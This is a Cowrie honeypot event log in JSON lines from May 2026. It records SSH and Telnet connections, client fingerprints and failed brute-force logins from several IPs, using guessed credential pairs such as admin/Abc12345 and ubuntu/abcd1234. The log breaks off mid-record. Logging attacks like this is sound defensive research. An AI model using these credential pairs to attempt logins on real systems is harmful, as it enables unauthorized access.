{"eventid":"cowrie.login.failed","username":"gmodserver4","password":"gmodserver4","message":"login attempt [gmodserver4/gmodserver4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:58:07.532907Z","src_ip":"103.146.202.174","session":"07cf61a33739","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:58:08.781819Z","src_ip":"103.146.202.174","session":"07cf61a33739","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.154.172.63","src_port":41398,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bb0f771e6c8","protocol":"telnet","message":"New connection: 177.154.172.63:41398 (10.17.0.5:23) [session: 8bb0f771e6c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:58:14.135321Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":59058,"dst_ip":"10.17.0.5","dst_port":22,"session":"6fc470f4ad1a","protocol":"ssh","message":"New connection: 109.91.4.177:59058 (10.17.0.5:22) [session: 6fc470f4ad1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:58:17.879123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:58:17.883388Z","src_ip":"109.91.4.177","session":"6fc470f4ad1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:58:17.993271Z","src_ip":"109.91.4.177","session":"6fc470f4ad1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Abc12345","message":"login attempt [admin/Abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:58:18.448083Z","src_ip":"109.91.4.177","session":"6fc470f4ad1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00172281265259,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:58:19.006877Z","src_ip":"37.52.61.49","session":"663f16bdb840","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.52.61.49","src_port":34866,"dst_ip":"159.203.135.109","dst_port":23,"session":"69c8f9e346a8","protocol":"telnet","message":"New connection: 37.52.61.49:34866 (159.203.135.109:23) [session: 69c8f9e346a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:58:19.448926Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:58:19.560275Z","src_ip":"109.91.4.177","session":"6fc470f4ad1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.0170578956604,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:58:27.152287Z","src_ip":"177.154.172.63","session":"8bb0f771e6c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.48.213.208","src_port":51820,"dst_ip":"10.17.0.5","dst_port":22,"session":"0399e57f3079","protocol":"ssh","message":"New connection: 185.48.213.208:51820 (10.17.0.5:22) [session: 0399e57f3079]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:58:35.435422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:58:35.440477Z","src_ip":"185.48.213.208","session":"0399e57f3079","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:58:35.559098Z","src_ip":"185.48.213.208","session":"0399e57f3079","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":56652,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffeda27b5d03","protocol":"telnet","message":"New connection: 174.138.46.234:56652 (159.203.135.109:23) [session: ffeda27b5d03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:58:35.671828Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"abcd1234","message":"login attempt [ubuntu/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:58:36.064256Z","src_ip":"185.48.213.208","session":"0399e57f3079","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:58:37.185195Z","src_ip":"185.48.213.208","session":"0399e57f3079","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.106.188.32","src_port":44214,"dst_ip":"10.17.0.5","dst_port":22,"session":"41fb1c2c3807","protocol":"ssh","message":"New connection: 103.106.188.32:44214 (10.17.0.5:22) [session: 41fb1c2c3807]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:58:39.113523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:58:39.118803Z","src_ip":"103.106.188.32","session":"41fb1c2c3807","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:58:39.330994Z","src_ip":"103.106.188.32","session":"41fb1c2c3807","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"A123456","message":"login attempt [bitrix/A123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:58:40.518034Z","src_ip":"103.106.188.32","session":"41fb1c2c3807","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:58:41.818246Z","src_ip":"103.106.188.32","session":"41fb1c2c3807","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.048734664916992,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:58:43.720442Z","src_ip":"174.138.46.234","session":"ffeda27b5d03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":46798,"dst_ip":"10.17.0.5","dst_port":22,"session":"23b56a911063","protocol":"ssh","message":"New connection: 103.146.202.174:46798 (10.17.0.5:22) [session: 23b56a911063]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:59:04.051962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:59:04.060692Z","src_ip":"103.146.202.174","session":"23b56a911063","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:59:04.307557Z","src_ip":"103.146.202.174","session":"23b56a911063","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.177","src_port":37068,"dst_ip":"10.17.0.5","dst_port":22,"session":"539b512c6ad3","protocol":"ssh","message":"New connection: 209.99.189.177:37068 (10.17.0.5:22) [session: 539b512c6ad3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:59:04.823931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:59:04.829562Z","src_ip":"209.99.189.177","session":"539b512c6ad3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:59:04.960176Z","src_ip":"209.99.189.177","session":"539b512c6ad3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456789","message":"login attempt [test/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:59:05.322944Z","src_ip":"103.146.202.174","session":"23b56a911063","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cuser","password":"123456","message":"login attempt [cuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:59:05.505016Z","src_ip":"209.99.189.177","session":"539b512c6ad3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:59:06.568362Z","src_ip":"103.146.202.174","session":"23b56a911063","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:59:06.636057Z","src_ip":"209.99.189.177","session":"539b512c6ad3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":64512,"dst_ip":"10.17.0.5","dst_port":22,"session":"29e9abe33d33","protocol":"ssh","message":"New connection: 109.91.4.177:64512 (10.17.0.5:22) [session: 29e9abe33d33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:59:10.589393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:59:10.594181Z","src_ip":"109.91.4.177","session":"29e9abe33d33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:59:10.710104Z","src_ip":"109.91.4.177","session":"29e9abe33d33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"passwd123","message":"login attempt [test/passwd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:59:11.170680Z","src_ip":"109.91.4.177","session":"29e9abe33d33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:59:12.284210Z","src_ip":"109.91.4.177","session":"29e9abe33d33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.106.188.32","src_port":60754,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ddcb0647969","protocol":"ssh","message":"New connection: 103.106.188.32:60754 (10.17.0.5:22) [session: 1ddcb0647969]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:59:36.155626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:59:36.213054Z","src_ip":"103.106.188.32","session":"1ddcb0647969","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:59:36.432174Z","src_ip":"103.106.188.32","session":"1ddcb0647969","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"welcome","message":"login attempt [user1/welcome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:59:37.414302Z","src_ip":"103.106.188.32","session":"1ddcb0647969","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:59:38.626588Z","src_ip":"103.106.188.32","session":"1ddcb0647969","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":35318,"dst_ip":"10.17.0.5","dst_port":22,"session":"861b018552dc","protocol":"ssh","message":"New connection: 103.146.202.174:35318 (10.17.0.5:22) [session: 861b018552dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:02.217902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:00:02.226030Z","src_ip":"103.146.202.174","session":"861b018552dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["h